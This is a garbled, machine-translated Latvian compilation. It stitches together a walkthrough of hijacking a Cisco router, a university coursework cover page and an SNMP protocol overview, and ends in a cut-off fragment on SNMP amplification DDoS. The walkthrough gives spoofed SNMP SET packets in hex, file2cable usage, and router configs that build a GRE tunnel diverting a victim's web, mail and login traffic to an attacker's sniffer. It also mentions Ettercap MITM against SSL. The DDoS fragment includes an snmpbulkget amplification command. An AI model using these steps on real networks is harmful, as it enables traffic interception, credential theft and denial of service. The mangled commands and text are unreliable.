Pašreizējā konfigurācija: 1206 baiti! versija 12.3! resursdatora vārds Upuris! iespējot slepeno 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0! interfeiss Ethernet0/0 IP adrese dhcp ip nat ārpus pusdupleksa ! interfeiss Ethernet0/1 IP adrese 192.168.1.1 255.255.255.0 ip nat iekšpusē pusdupleksā ! maršrutētāja izvilkšanas tīkls 192.168.1.0 ! ip nat avota sarakstā 102 interfeiss Ethernet0/0 pārslodze nav ip http serveris ip bez klases! piekļuves saraksts 1 atļauja 192.168.1.0 0.0.0.255 piekļuves saraksts 102 atļauja ip jebkura jebkura ! snmp-servera kopiena publiska RO snmp-servera kopiena privāta RW 1 snmp-serveris iespējot slazdus tty ! line con 0 reģistrēšana sinhronā pieteikšanās līnija aux 0 līnija vty 0 4 parole slepena pieteikšanās ! ! beigas

Pievērsiet uzmanību piekļuves noteikumam RW grupai. Šis noteikums mēģina ierobežot SNMP lasīšanas/rakstīšanas piekļuvi tikai lietotājiem no lokālais tīkls (192.168.1.0).

Ir divi galvenie uzbrukuma posmi:

1. SNMP piekļuves noteikumu apiešana uzbruktajā maršrutētājā, lai piekļūtu maršrutētāja konfigurācijas failam.
2. GRE tuneļa izveidošana starp uzbrukušo maršrutētāju un hakeru maršrutētāju, lai attālināti pārtvertu trafiku no uzbrukuma klienta mašīnas (Victim Client).

Teorija

Kā minēts rakstā “Cisco maršrutētāju izmantošana, 1. daļa”, izmantojot komandu SNMP SET, varat piespiest Cisco maršrutētāju ignorēt/nosūtīt konfigurācijas failu, izmantojot TFTP.

Nosūtot SNMP SET pieprasījumu ar viltotu IP adresi (no diapazona, kas aprakstīts RFC1918–192.168.1.0), mums ir jāpiespiež uzbrukušais maršrutētājs nosūtīt mums savu konfigurācijas failu. Tas pieņem, ka mēs zinām “privātās kopienas virkni” un ACL, kas aprakstītas RW grupas konfigurācijas virknē.

SNMP piekļuves noteikumu apiešana

Sāksim, izveidojot viltus SNMP pieprasījumu. Izmantojot nelielu Perl skriptu un Ethereal, mēs pārtversim standarta SNMP SET “copy config” pieprasījumu, ko izmantosim kā bāzes pakotni. root@whax# ./copy-router-config.pl ##################################### ################# # Kopēt Cisco Router konfigurāciju — izmantojot SNMP # Uzlauzuši muti - [e-pasts aizsargāts]################################################# ##### Lietojums: ./cisco-copy-config.pl Pārliecinieties, vai ir iestatīts TFTP serveris, vēlams, lai tas darbotos no /tmp! root@whax# Pēc skripta izpildes tiks notverta SNMP pakete, kas ir līdzīga tai, kas parādīta 2. attēlā Kā jau bija paredzēts, maršrutētājs šo pieprasījumu noraidīja un konfigurācijas fails netika nosūtīts.


2. attēls. Pārtvertā SNMP pakete.

Pievērsiet uzmanību uzbrucēja IP adresei (80.179.76.227). Tagad, izmantojot hex redaktoru, mēs mainīsim šo IP adresi un dažus citus pakešu galvenes laukus. Heksadecimālajā apzīmējumā viltotā IP adrese 192.168.1.5 izskatās kā C0 A8 01 05, kā parādīts 3. attēlā.

3. attēls. Pakešu atgriešanas IP adreses maiņa.

Pēc tam mēs nosūtīsim paketi, izmantojot file2cable (vai jebkuru citu pakešu ģeneratoru):

Root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - FX Thanx dodieties uz Lamont Granquist & fyodor, lai uzzinātu viņu hexdump() /root/snmp-mod - 238 baiti neapstrādāti dati 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. [e-pasts aizsargāts] 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@ [e-pasts aizsargāts]....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 .........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..privāts........ 9b02 0201 0030 81a4 3016 0611 2b06 .......0..0...+.


0104 0109 0960 0101 0101 0283 f1b0 7802 .....`.......x.

0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+.

0104 0109 0960 0101 0101 0483 f1b0 7802 .....`.......x.

0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706

". , mūsu TFTP serveris pieņems savienojumu, kura Etheral žurnāls ir parādīts 4. attēlā.

• Izveidojiet GRE tuneli no uzbrukuma maršrutētāja līdz hakera maršrutētājam.
• Nosakiet, kāda satiksme šķērsos tuneli.
• Izsaiņojiet GRE paketes, kas nāk no uzbrukuma maršrutētāja, un pārsūtiet tās uz uzbrucēja datoru (sniffer) analīzei.

Uzbrukušais maršrutētājs

Uzbrukušajā maršrutētājā ir jāizveido GRE tunelis. Tā kā mums nav piekļuves terminālim (konsolei), mēs varam vienkārši rediģēt iegūto konfigurācijas failu un pēc tam nosūtīt to atpakaļ maršrutētājam, izmantojot viltotu SNMP SET pieprasījumu. Uzbrūkošā maršrutētāja konfigurācijas failam pievienosim šādas rindas: interfeiss tunnel0 ip adrese 192.168.10.1 255.255.255.0 tuneļa avots Ethernet0/0 tuneļa galamērķis tuneļa režīms gre ip Tie nozīmē:

• Mēs izveidojām saskarni tunnel0 un norādījām IP adresi no tīkla 192.168.10.x. Lai apmainītos ar datiem, abiem tuneļa galiem jāatrodas vienā apakštīklā.
• Mēs esam norādījuši, ka Ethernet0/0 interfeiss ir tuneļa sākums (pretējā gadījumā, no kurienes tunelis sāktos?)
• Tuneļa gals ir hakeru maršrutētāja ārējās saskarnes IP adrese.
• Pēdējā komanda nav nepieciešama, jo pēc noklusējuma jebkurā gadījumā tiek izveidots GRE tunelis (bet mēs to tomēr pievienojām, lai pārliecinātos).

Tagad mēs varam konfigurēt piekļuves noteikumus (piekļuves sarakstus), lai norādītu trafika veidu, kas iet caur tuneli, un maršrutēšanas kartes (maršrutu kartes), kas nepieciešamas satiksmes novirzīšanai.

Lai to izdarītu, pievienojiet vēl dažas rindiņas uzbrukuma maršrutētāja konfigurācijas failam:

Piekļuves saraksts 101 atļauja tcp jebkurš vienāds 443 piekļuves saraksts 101 atļauja tcp jebkurš eq 80 piekļuves saraksts 101 atļauja tcp jebkurš eq 21 piekļuves saraksts 101 atļauja tcp jebkurš eq 20 piekļuves saraksts 101 atļauja tcp 3 jebkura e piekļuves saraksts 101 atļaut tcp jebkurš eq 25 piekļuves saraksts 101 atļaut tcp jebkurš eq 110 Mēs esam atļāvuši datu pārsūtīšanu, izmantojot SSL, HTTP, FTP, Telnet, SMTP un POP3 protokolus.

Tagad, ja satiksme atbilst iepriekš aprakstītajiem noteikumiem, tā tiks novirzīta saskaņā ar maršrutēšanas kartēm, kuru apraksts jāpievieno konfigurācijas failam:

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Šim ierakstam ir šāda nozīme:

• Mēs definējām maršrutēšanas kartes nosaukumu (novirzīt satiksmi) un pēc tam izmantojām komandu "match", lai norādītu, ka atbilstības nosacījumam jābūt piekļuves noteikumu kopai 101 (piekļuves saraksts).
• Mēs norādījām uzbrucēja IP adresi kā nākamā lēciena adresi.
• Mēs pielietojām maršrutēšanas karti uzbrukušās mašīnas ārējam LAN interfeisam. Tā rezultātā tiks uzraudzīta visa ienākošā un izejošā Ethernet0/0 trafika.

Hakeru maršrutētājs

Uzbrucēja maršrutētāja konfigurācija ir nedaudz sarežģītāka, jo mums ir jādefinē divas maršrutēšanas kartes - viena, lai pārsūtītu trafiku uz uzbrucēja datoru (sniffer), un otra, lai nosūtītu trafiku atpakaļ uz uzbrukuma maršrutētāju. Ir ļoti svarīgi, lai mēs nosūtītu tunelētos datus atpakaļ uz uzbrukuma maršrutētāju, lai uzbrukušais dators (Victim Client) nezaudētu savienojumu.

Sāksim, izveidojot GRE tuneli uzbrucēja maršrutētājā: Attacker(config)# interfeiss tunnel0 Attacker(config-if)# IP adrese 192.168.10.2 255.255.255.0 Attacker(config-if)# tuneļa avots Ethernet0/0 Attacker(config-Attacker(config) if)# tuneļa galamērķis Uzbrucējs(config-if)# tuneļa režīms gre ip Uzbrucējs(config)# piekļuves saraksts 101 atļaut ip jebkuru Uzbrucēju(config)# maršrutētāja karte novirzīt-to-sniffer Uzbrucējs(config-route-map) # atbilst ip adresei 101 Uzbrucējs(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interfeisa tunnel0 Attacker(config-if)# ip policy route- kartes pāradresācija uz sniffer Šie noteikumi nozīmē:

• Mēs izveidojām piekļuves noteikumu, kas pieļauj visu veidu trafiku.
• Mēs esam izveidojuši maršrutēšanas karti no pāradresācijas uz sniferu (šī maršrutēšanas karte tunelēto satiksmi novirzīs uz sniffer).
• Izveidotais piekļuves noteikums tiek izmantots kā atbilstības nosacījums.
• Mēs norādījām uzbrucēja (snifera) IP adresi kā nākamā lēciena adresi.
• Mēs esam piemērojuši maršrutēšanas karti tunel0 saskarnei.

Ir ļoti svarīgi, lai datu pārsūtīšanai izmantotu maršrutēšanas karti. Maršrutētājs saņem tunelētus datus, kas iekapsulēti GRE paketē, un bez paketes dekodēšanas mēs to nevaram apskatīt. Pārsūtot saņemtās paketes uzbrucējam (sniffer), maršrutētājs tās pārsūta kā parastās IP paketes bez GRE iekapsulēšanas.

Visbeidzot izveidosim maršrutēšanas karti un saistīsim to ar Ethernet0/0 interfeisu:

Attacker(config-if)# route-map divert-out Uzbrucējs(config-route-map)# atbilst IP adresei 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map) )# exit Attacker(config)# interfeiss ethernet0/0 Attacker(config-if)# ip politika route-map divert-out Šīs papildu iestatījumi nozīmē sekojošo:

• Pēc tam, kad uzbrucējs (sniferis) ir pārtvēris un pārsūtījis atpakaļ tunelētos datus, novirzīšanas maršrutēšanas karte novirzīs trafiku atpakaļ uz uzbrukušo maršrutētāju.
• Mēs piemērojām maršrutēšanas karti Ethernet saskarnei.

Uzbrucējs (šņauktājs)

Pēc maršrutētāju konfigurācijas pabeigšanas mums ir jākonfigurē uzbrucēja dators (sniffer), lai pārtvertu un novirzītu datus. Ir svarīgi, lai dators būtu konfigurēts, lai pārsūtītu paketes atpakaļ. Lai to izdarītu, varat izmantot vienu no šīm komandām: root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forward vai root@whax:~# fragrouter -B1 Bez novirzīšanas mūsu uzbrukums izraisīs pakalpojuma atteikums (DoS) datorā, kuram tiek uzbrukts, un attiecīgi tas zaudēs savu nozīmi.

Sāksim uzbrukumu

Kad visi iestatījumi ir pabeigti, mums atliek tikai augšupielādēt jaunu modificētu konfigurācijas failu uzbrukuma maršrutētājā. Rezultāts būs GRE tuneļa aktivizēšana un visas trafika novirzīšana no uzbruktā datora lokālā tīkla uz hakeri (sniffer).

Mums ir jāizveido viltus SNMP SET pieprasījums, kas liks maršrutētājam lejupielādēt jaunu konfigurācijas failu un pievienot to pašreizējā konfigurācija. Lai saņemtu bāzes paketi, mēs vēlreiz nosūtīsim parasto pieprasījumu:

Root@whax# ./merge-router-config.pl ##################################### ################# # Sapludināt Cisco Router konfigurāciju — izmantojot SNMP # Uzlauzuši muti — [e-pasts aizsargāts]################################################# ##### Lietojums: ./merge-copy-config.pl Pārliecinieties, vai ir iestatīts TFTP serveris, vēlams, lai tas darbotos no /tmp ! root@whax# Pārtversim šo paketi un mainīsim atpakaļ IP adresi un dažus citus laukus paketes galvenē, kā parādīts 5. attēlā.


5. attēls. Pakešu galvenes maiņa.

Pēc modificētās paketes nosūtīšanas ar mūsu datoru tiks izveidots TFTP savienojums (6. attēls).

6. attēls. Savienojums ar uzbrucēja TFTP serveri.

Pievērsiet uzmanību TFTP lasīšanas pieprasījumam (2. pakete). Pakete apiet SNMP piekļuves noteikumus, kā rezultātā tiek lejupielādēts jauns modificēts konfigurācijas fails un pievienots pašreizējai konfigurācijai. Informācijas atkļūdošana no uzbrukuma maršrutētāja atklāj daudz interesantas informācijas par uzbrukuma gaitu:

* 1. marts 00:32:53.854: SNMP: Iestatīt pieprasījumu, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = Table 4. cc.9. 1.5.1 2285992 = 80.179 .76.227 (TFTP servera adrese) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971,3reakcija , erridx 0 ccCopyTabula 28599) 2 = pwnd-router.config ccCopyTable 1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: pakete, kas nosūtīta caur UDP uz 192.168.1.5 Ņemiet vērā, ka TFTP servera adrese atšķiras no uzbrucēja IP adreses un tiek nosūtīta kā atsevišķs parametrs. Tunelis tagad ir atvērts un gatavs lietošanai, un to var attēlot 7. attēlā.


7. attēls. GRE tunelis.

Jūs varat pārbaudīt tuneļa funkcionalitāti, nosūtot atkļūdošanas komandu uzbrucēja maršrutētājam:

Uzbrucēja # atkļūdošanas tunelis * 3. marts 06:38: Tunnel0: GRE/IP, lai klasificētu 212.199.145.242 -> 80.179.20.55 (len = 108 tips = 0x800 ttl = 253 tos = 0x0) * Mar 3: 06: 8 blakus tunelis labojums, 80.179.20.55 -> 212.199.145.242, tos=0x0 *3. marts 06:38: Tunelis0: GRE/IP, lai klasificētu 212.199.145.242 ->80.179.20.50 tips ->80.179.20.50 *3. marts 06:38: Tunnel0: blakus esošās vietas labošana, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Pieņemsim, ka uzbrukušais dators Google meklēja vienumu “GRE Sniffing”, kā parādīts 8. attēlā.


8. attēls. Cietušais meklē informāciju par GRE tuneļiem.

Šo darbību rezultātā Ethereal uzbrucēja datorā saņems 9. attēlā redzamās paketes.

9. attēls. Sniffer parāda Google vaicājumu, lai meklētu informāciju par GRE tuneļiem.

Papildus tam, ka tiek izmantots specializēts sniffer (piemēram, dsniff), lai pārtvertu vienkārša teksta paroles, mēs varam veikt sarežģītus "cilvēka vidū" uzbrukumus upura datoram. Ettercap laba lietderība, ļaujot papildus pārtvert dažādi veidi paroles, organizējiet "cilvēka vidū" uzbrukumu pret šifrētajiem SSL un SSH protokoliem. Ettercap filtrus var izmantot, lai kontrolētu un modificētu trafiku, kas iet cauri. Iespējas ir praktiski bezgalīgas.

Secinājums

Dažkārt dažas lietas nav tādas, kā šķiet. Strādājot ar SNMP (vai citiem uz UDP balstītiem protokoliem), jums vienmēr ir jāapzinās šķēršļi, kas, ja tie netiek ņemti vērā, var izraisīt tīkla apdraudējumu.

Aprakstītajā piemērā, lai novērstu uzbrukumu, pietiktu ar papildu piekļuves noteikumu, kas skaidri nosaka TFTP servera adresi (kas atrodas maršrutētājā, kuram mēs uzbrukām).

Skeptiķi var jautāt: "Kā uzbrucējs uzzināja par SNMP grupas RW piekļuves/nosaukuma noteikumiem?" Šo informāciju var iegūt ar brutālu spēku, ne tikai grupu nosaukumus, bet arī atļautās IP adreses, un šāda utilīta jau pastāv.

Raksta mērķis bija parādīt ne tik daudz aprakstītā uzbrukuma efektivitāti, bet gan iespējamās nepilnības UDP balstītos protokolos. Tas nekādā gadījumā nenozīmē, ka Cisco aprīkojums ir nedrošs. Pareizai konfigurācijai jāsamazina iespēja apiet aizsardzību. Tīkla administratoru kļūdas ir galvenie Cisco aprīkojuma kompromitēšanas iemesli.

Informāciju par Cisco maršrutētāju sacietēšanu var atrast vietnē

Darba apraksts

Īpaši aktuāli rodas jautājums par datortīklu darbības uzticamību un maksimālu efektivitāti. Milzīgus zaudējumus tīkla problēmu dēļ, kas izraisa datu zudumu, strauju veiktspējas kritumu, serveru bloķēšanu un citas problēmas, cieš bankas, finanšu, transporta un telekomunikāciju uzņēmumi. Līdz ar to tīkla pārvaldības problēma ir īpaši svarīga.
Tīkla pārvaldība ir pasākumu un darbību kopums, kas vērsts uz tīkla efektivitātes paaugstināšanu, kļūmju atklāšanu un novēršanu tā darbībā, tā pareizu attīstību un modernizāciju un galu galā izmaksu samazināšanu.

IEVADS…………………………………………………………………………………..3


1.2 SNMP protokola loģika………………………………………………………..12


2.1 SNMP protokola (vai SNMP protokola versijas) drošība……….21
2.2 SNMP protokola konfigurēšanas principi……………………………………23
SECINĀJUMS…………………………………………………………………………………….
ATSAUCES…………………………………………………………………27

Faili: 1 fails

Krievijas Federācijas Izglītības un zinātnes ministrija

FSBEI HPE "Čeļabinskas Valsts universitāte"

Informācijas tehnoloģiju institūts

Informācijas tehnoloģiju katedra

KURSA DARBS

SNMP protokols. Tīkla uzbrukuma un aizsardzības metodes

Aizpildījis students

Galiuļina Oksana Kuntuarovna

IIT fakultāte, BIS-201 grupa

Zinātniskais vadītājs:

Kosenko Maksims Jurijevičs

Katedras lektors

informācijas tehnoloģijas

Iesniegšanas datums:_______________

Aizstāvēšanas datums:___________

Atzīme:______________________

Čeļabinska

IEVADS…………………………………………………………………..3

I NODAĻA. SNMP DEFINĪCIJA………………………………………………5

1.1 SNMP protokola arhitektūra………………………………………………………….6

1.2 SNMP protokola loģika………………………………………………………..12

II NODAĻA. MIB………………………………………………………………………………….16

III NODAĻA. DROŠĪBA UN SNMP KONFIGURĀCIJA………………..…….21

2.1 SNMP protokola (vai SNMP protokola versijas) drošība……….21

2.2 SNMP protokola konfigurēšanas principi……………………………………23

SECINĀJUMS………………………………………………………………………26

ATSAUCES……………………………………………………………27

IEVADS

Mūsdienu organizāciju darbība ir cieši saistīta ar informācijas tehnoloģiju izmantošanu, vai tas būtu dators maza uzņēmuma vadītāja darba vietā vai liela uzņēmuma korporatīvais tīkls - sistēmu integrators. Un jo lielāka organizācija un svarīgākas tās funkcijas, jo augstākas prasības datorsistēmām, kas nodrošina šo funkciju izpildi, un katras kļūmes cena ir augstāka. Uzņēmuma darbība kļūst arvien vairāk atkarīga no tā datoru un telekomunikāciju aprīkojuma kvalitātes.

Īpaši aktuāli rodas jautājums par datortīklu darbības uzticamību un maksimālu efektivitāti. Milzīgus zaudējumus tīkla problēmu dēļ, kas izraisa datu zudumu, strauju veiktspējas kritumu, serveru bloķēšanu un citas problēmas, cieš bankas, finanšu, transporta un telekomunikāciju uzņēmumi. Līdz ar to tīkla pārvaldības problēma ir īpaši svarīga.

Tīkla pārvaldība ir pasākumu un darbību kopums, kas vērsts uz tīkla efektivitātes paaugstināšanu, kļūmju atklāšanu un novēršanu tā darbībā, tā pareizu attīstību un modernizāciju un galu galā izmaksu samazināšanu.

Pašlaik tīklu pārvaldībai tiek izmantotas lietojumprogrammas, kas darbojas tīkla pārvaldības platformās, piemēram, HP OpenView no Hewlett-Packard, NetView for AIX (IBM), SunNet Manager (Sun), Spectrum (Cabletron Systems), NetWare Management Systems (Novell). dažādas citas starpplatformu vadīklas.

Šie rīki ir balstīti uz SNMP (Simple Network Management Protocol) protokola izmantošanu. SNMP protokols ir paredzēts pakalpojumu informācijas (statusa informācijas) apkopošanai un pārsūtīšanai starp dažādiem datoriem.

I NODAĻA. SNMP DEFINĪCIJA

SNMP ir protokols no TCP/IP saimes (SNMP protokols ir aprakstīts RFC 1157). Sākotnēji to izstrādāja interneta kopiena, lai uzraudzītu un novērstu maršrutētāju un tiltu problēmas. SNMP ļauj pārraudzīt un pārsūtīt statusa informāciju:

• datori, kuros darbojas operētājsistēma Windows NT;
• LAN pārvaldnieka serveri;
• maršrutētāji un vārtejas;
• minidatori vai lieldatori;
• termināļa serveri;
• koncentratori.

SNMP izmanto sadalītu arhitektūru, kas sastāv no pārvaldības sistēmām un aģentiem. Izmantojot Microsoft SNMP pakalpojumu, dators, kurā darbojas sistēma Windows NT, var ziņot par savu statusu SNMP pārvaldības sistēmai tīklā, kas izmanto TCP/IP protokolu.

SNMP pakalpojums nosūta statusa informāciju vienam vai vairākiem datoriem pēc pieprasījuma vai tad, kad notiek svarīgs notikums, piemēram, ja datoram ir maz vietas cietajā diskā.

1.1 SNMP protokola arhitektūra

Tīkls, kas pārvaldībai izmanto SNMP, satur trīs galvenās sastāvdaļas:

1. SNMP pārvaldnieks - programmatūra, kas instalēta administratora datorā (uzraudzības sistēma)
2. SNMP aģents ir programmatūra, kas darbojas tīkla mezglā, kas tiek uzraudzīts.
3. SNMP MIB - MIB ir vadības informācijas bāze. Šī sistēmas sastāvdaļa nodrošina strukturētu datu apmaiņu starp aģentiem un vadītājiem. Būtībā tā ir sava veida datu bāze teksta failu veidā.

SNMP pārvaldnieks un SNMP aģents

Lai saprastu komponentu mērķi, mēs varam teikt, ka SNMP pārvaldnieks ir slānis (interfeiss) starp operatora administratoru un tīkla mezglu, kurā darbojas SNMP aģents. Var arī teikt, ka SNMP aģents ir saskarne starp SNMP pārvaldnieku un tīkla mezgla aparatūru. Ja salīdzinām SNMP protokolu ar klienta-servera arhitektūru (piemēram, tīmekļa serveri), tad tīmekļa serveris darbojas kā pakalpojums noteiktā portā, un lietotājs izmanto pārlūkprogrammu, lai piekļūtu tīmekļa serverim kā klients. Tā ir skaidri definēta arhitektūra ar atšķirīgu klientu un serveri. SNMP gadījumā klienta un servera lomas ir nedaudz izplūdušas. Piemēram, SNMP aģents ir sava veida pakalpojums, kas darbojas ierīcē (kas tiek uzraudzīts) un apstrādā pieprasījumus noteiktā udp/161 portā, tas ir, patiesībā tas ir serveris. Un SNMP pārvaldnieks ir sava veida klients, kas piekļūst SNMP aģenta serverim. SNMP ir ts. Slazds. Šis ir aģenta pieprasījums vadītājam. Precīzāk, pat ne lūgums, bet paziņojums. Kad šis paziņojums tiek nosūtīts, aģents un pārvaldnieks “apmainās ar lomām”. Tas nozīmē, ka šajā gadījumā pārvaldniekam ir jābūt serverim, kas darbojas portā udp/162, un aģentam ir jābūt klientam. IN jaunākās versijas SNMP slazdu var saukt par paziņojumu.

SNMP darbojas OSI modeļa 7. slānī, tas ir, tas ir lietojumprogrammu slāņa pakalpojums. Mijiedarbība starp aģentu un pārvaldnieku SNMP protokola līmenī tiek organizēta caur t.s. PDU (Protocol Data Unit) objektu paketes, kas ir iekapsulētas transporta protokolā. Lai gan SNMP atbalsta dažādus transporta veidus, 99% gadījumu tiek izmantots UDP. Šajā gadījumā katrs PDU ziņojums satur īpašu komandu (lai nolasītu mainīgo, rakstītu mainīgā lieluma vērtību vai atbildētu uz slazdošanas aģentu). Kopumā mezglu mijiedarbību, izmantojot SNMP, var attēlot šādā secībā: pārvaldnieks->SNMP(PDU)-UDP-IP-Ethernet-IP-UDP-SNMP(PDU)->aģents.

Izmantojot šifrēšanu SNMP, noklusējuma ports pieprasījumiem/atbildēm ir udp/10161, un Traps tiek nosūtīts uz udp/10162.

Aģenti, kas darbojas resursdatoros, apkopo informāciju par ierīcēm un ieraksta savāktos skaitītājus mainīgajām vērtībām MIB datu bāzē. Tādējādi padarot to pieejamu vadītājiem.

Rīsi. 1. SNMP aģenta un SNMP pārvaldnieka mijiedarbības shēma

SNMP pārvaldnieks nosūta pieprasījumus aģentam portā udp/161 (ja aģentā nav konfigurēts cits ports) no patvaļīga porta no īslaicīga diapazona. SNMP pārvaldnieka pieprasījums norāda portu un avota adresi. Pēc tam aģents saņem paketi un apstrādā to (ja ir izpildīti tālāk aprakstītie nosacījumi). Apstrādes laikā tiek ģenerēta atbilde un nosūtīta uz portu, kas ņemts no sākotnējā pieprasījuma. Atbilde tiek nosūtīta no udp/161 porta. Mēs varam teikt, ka SNMP aģents tādējādi nodrošina SNMP pārvaldniekam piekļuvi MIB saglabātajiem datiem. Tajā pašā laikā sūtīšanas laikā SNMP pārvaldnieks ievieto noteiktu ID (RequestID) PDU, un aģents ievieto šo ID, nemainot atbildes PDU, lai pārvaldnieks nesajauktu paketes no dažādiem aģentiem. SNMP aģentu var konfigurēt, lai nosūtītu Trap paziņojumus, ko tas veic no īslaicīgā porta uz SNMP pārvaldnieka udp/162 portu.

SNMP PDU (vai SNMP protokola ziņojumi)

Iepriekš es minēju apmaiņas vienību starp SNMP mezgliem - PDU (Protocol Data Unit), apskatīsim šo koncepciju. Apmaiņai starp aģentu un pārvaldnieku tiek izmantota noteikta PDU komandu ziņojumu kopa:

• Trap ir vienvirziena paziņojums no SNMP aģenta -> pārvaldnieka par notikumu.
• GetReponse - aģenta atbilde vadītājam, atgriežot pieprasītās mainīgā vērtības.
• GetRequest - pieprasījums aģentam no pārvaldnieka, ko izmanto, lai iegūtu viena vai vairāku mainīgo vērtību.
• GetNextRequest - pieprasījums aģentam no pārvaldnieka, ko izmanto, lai iegūtu nākamo mainīgā vērtību hierarhijā.
• SetRequest - pieprasījums aģentam iestatīt viena vai vairāku mainīgo vērtību.
• GetBulkRequest – pieprasījums aģentam saņemt datu masīvu (noregulēts GetNextRequest). (Šis PDU tika ieviests SNMPv2.)
• InformRequest – vienvirziena paziņošana starp vadītājiem. Var izmantot, piemēram, informācijas apmaiņai par MIB (simbolisko OID un digitālo atbilstība). Atbildot uz to, pārvaldnieks ģenerē līdzīgu pakotni, lai apstiprinātu, ka sākotnējie dati ir saņemti. (Šis PDU tika ieviests SNMPv2.)

Kā redzat, atkarībā no protokola versijas komandu kopa ir atšķirīga (piemēram, InformRequest un GetB ulkRequest pilnībā parādījās tikai otrajā SNMP versijā).

PDU struktūra

PDU struktūras apskate nav nepieciešama, taču tā palīdzēs iegūt dziļāku izpratni par SNMP loģiku. Visi PDU (izņemot Trap) sastāv no noteikta lauku kopas, kurā tiek ierakstīta nepieciešamā informācija:

Rīsi. 2. Piecu SNMP ziņojumu formāts, kas iekapsulēts UDP datagrammā

Ko nozīmē šie lauki:

• Versija - satur SNMP versiju;
• Parole (kopiena) - satur rakstzīmju secību, kas raksturo dalību grupā;
• PDU tipam ir skaitlisks pieprasījuma identifikators (Get, GetNext, Set, Responde, Trap...);
• Pieprasījuma ID ir vienāds rakstzīmju kopa, kas saista pieprasījumu/atbildi vienotā veselumā;
• Kļūdas statuss ir skaitlis, kas raksturo kļūdas raksturu:
• Pieprasījumiem (Get, Set, GetNExt utt.) - 0
• Lai saņemtu atbildes:
• 0 (NoError) – nav kļūdu;
• 1 (TooBig) - objekts neietilpst vienā atbildes ziņojumā;
• 2 (NoSuchName) – neesošs mainīgais;
• 3 (BadValue) – mēģinot iestatīt vērtību, tika norādīta nederīga vērtība vai pieļauta sintakses kļūda;
• 4 (ReadOnly) – Set pieprasījuma laikā tika mēģināts mainīt tikai lasāmu mainīgo;
• 5 (GenErr) – citas kļūdas.
• Error index – satur noteiktu indeksu mainīgajam, uz kuru attiecas kļūda;
• Saistīto mainīgo laukā var būt viens vai vairāki mainīgie (par Saņemiet pieprasījumus– tas ir tikai mainīgo lielumu nosaukums, Set – nosaukums un iestatāmā vērtība, Response – nosaukums un pieprasītā vērtība).

Tajā pašā laikā Trap PDU saturs satur dažus papildu laukus (pieprasījuma galvenes vietā):

• Uzņēmums – saimnieka ražotāja raksturojums;
• Slazdu paziņojuma veids var būt šāds:
• 0 (Coldstart) un 1 (Warmstart) – objekts tiek atgriezts sākotnējā stāvoklī (starp tiem ir kāda atšķirība, bet kāda?..);
• 2 (Linkdown) – interfeiss ir izlaists, savukārt mainīgā laukā ir attiecīgais interfeiss;
• 3 (Linkup) – saskarne ir paaugstinājusies, un mainīgā laukā ir attiecīgais interfeiss;
• 4 (Authenticationfailure) – pārvaldnieks nosūtīja ziņojumu ar nepareizu kopienas virkni;
• 5 (EGPneighborloss) – grūti kaut ko pateikt);
• 6 (Entrprisespecific) — šis Trap tips norāda, ka nākamajā laukā ir slazda veids, kas ir specializēts konkrētam piegādātājam.
• Specializētais lamatas veids;
• Timestamp – satur laika zīmogu no notikuma brīža (nav skaidrs, pret ko šī etiķete attiecas...).

Lai sniegtu savu ieguldījumu aizsardzībā pret DDoS uzbrukumiem, jums nav jāiegādājas dārgs aprīkojums vai pakalpojumi. Ikviens no interneta pieejamā servera administrators var piedalīties šādā cēlā lietā bez papildu materiālajiem ieguldījumiem, izmantojot tikai zināšanas un nedaudz laika.

Šādi izskatās satiksme SNMP Amplification DDoS uzbrukuma laikā.

DDOS uzbrukuma SNMP pastiprināšana

Uzbrukuma būtība ir uzsākt vairākkārt palielinātu atbildi uz SNMP pieprasījumu. Sākotnēji izstrādāti, lai automatizētu tabulas datu izguvi, vienlaikus samazinot nosūtīto pakešu skaitu, BULK pieprasījumi ir kļuvuši par diezgan efektīvu rīku DDoS uzbrukumu veikšanai uzbrucēju rokās. Kā teikts RFC3416, GetBulkRequest, kas ieviesta SNMP 2. versijā, ir paredzēts, lai varētu pieprasīt lielu datu apjomu, ko uzbrucēji izmanto, izmantojot nepareizi konfigurētus serverus internetā.

Ja tabulā iestatāt maksimālo atgriezto rindu skaitu uz 20 000 un izpildāt vaicājumu nepareizi konfigurēta servera/ierīces gadījumā:

$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 ↵ 1.3.6.1

$ snmpbulkget - c public - v 2c - C r20000 192.168.10.129 ↵1.3.6.1

atbilde būs apmēram šāda:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent Windows 2003 x86 5.2"<пропущено 290 строк>iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12 .123.123.12 = šajā MIB skatā vairs nav palicis mainīgais (tas ir pagājis MIB koka beigas)

iso. 3.6.1.2.1.1.1.0 = STRING : "SNMP4J-Agent Windows 2003 x86 5.2" < пропущено290 строк>iso. 3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12 . 123.123.12 = Šajā MIB skatā vairs nav palicis mainīgais (tas ir pagājis MIB koka beigas)

Šajā gadījumā, palaižot tcpdump, tiks parādīts atgrieztās paketes lielums:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129. snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet 21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

